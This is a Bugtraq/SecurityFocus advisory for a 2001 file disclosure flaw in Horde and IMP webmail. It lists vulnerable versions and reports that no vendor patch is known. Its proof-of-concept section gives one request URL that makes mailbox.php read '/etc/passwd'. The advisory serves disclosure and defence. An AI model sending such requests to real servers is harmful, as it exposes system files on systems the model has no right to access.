BID:3067

Horde and Imp File Disclosure Vulnerability

Info

Horde and Imp File Disclosure Vulnerability

Bugtraq ID:	3067
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 13 2001 12:00AM
Updated:	Jul 13 2001 12:00AM
Credit:	This vulnerability was posted to BugTraq with a Caldera Open Linux advisory by Support Info <[email protected]> on July 13th 2001.
Vulnerable:	Horde Project IMP 3.1.2 Horde Project IMP 2.2.5 + Caldera OpenLinux Server 3.1 + Horde Project Horde 1.2.5 Horde Project IMP 2.2.4 + Caldera OpenLinux Server 3.1 + Horde Project Horde 1.2.4 Horde Project IMP 2.2.3 + Horde Project Horde 1.2.3 Horde Project IMP 2.2.2 + Horde Project Horde 1.2.2 Horde Project IMP 2.2 + Horde Project Horde 1.2 Horde Project IMP 2.0 - PHP PHP 4.0.1 pl2 - PHP PHP 4.0.1 - PHP PHP 4.0 0 - PHP PHP 3.0.16 Horde Project Horde 2.1.3 Horde Project Horde 1.2.4 Horde Project Horde 1.2.3 Horde Project Horde 1.2.2 Horde Project Horde 1.2.1 Horde Project Horde 1.2

Not Vulnerable:

Exploit / POC

Horde and Imp File Disclosure Vulnerability

The following proof of concept has been supplied:

http://vulnerableserver/horde/imp/mailbox.php?mailbox=/etc/passwd

Solution / Fix

Horde and Imp File Disclosure Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Horde Project Horde 1.2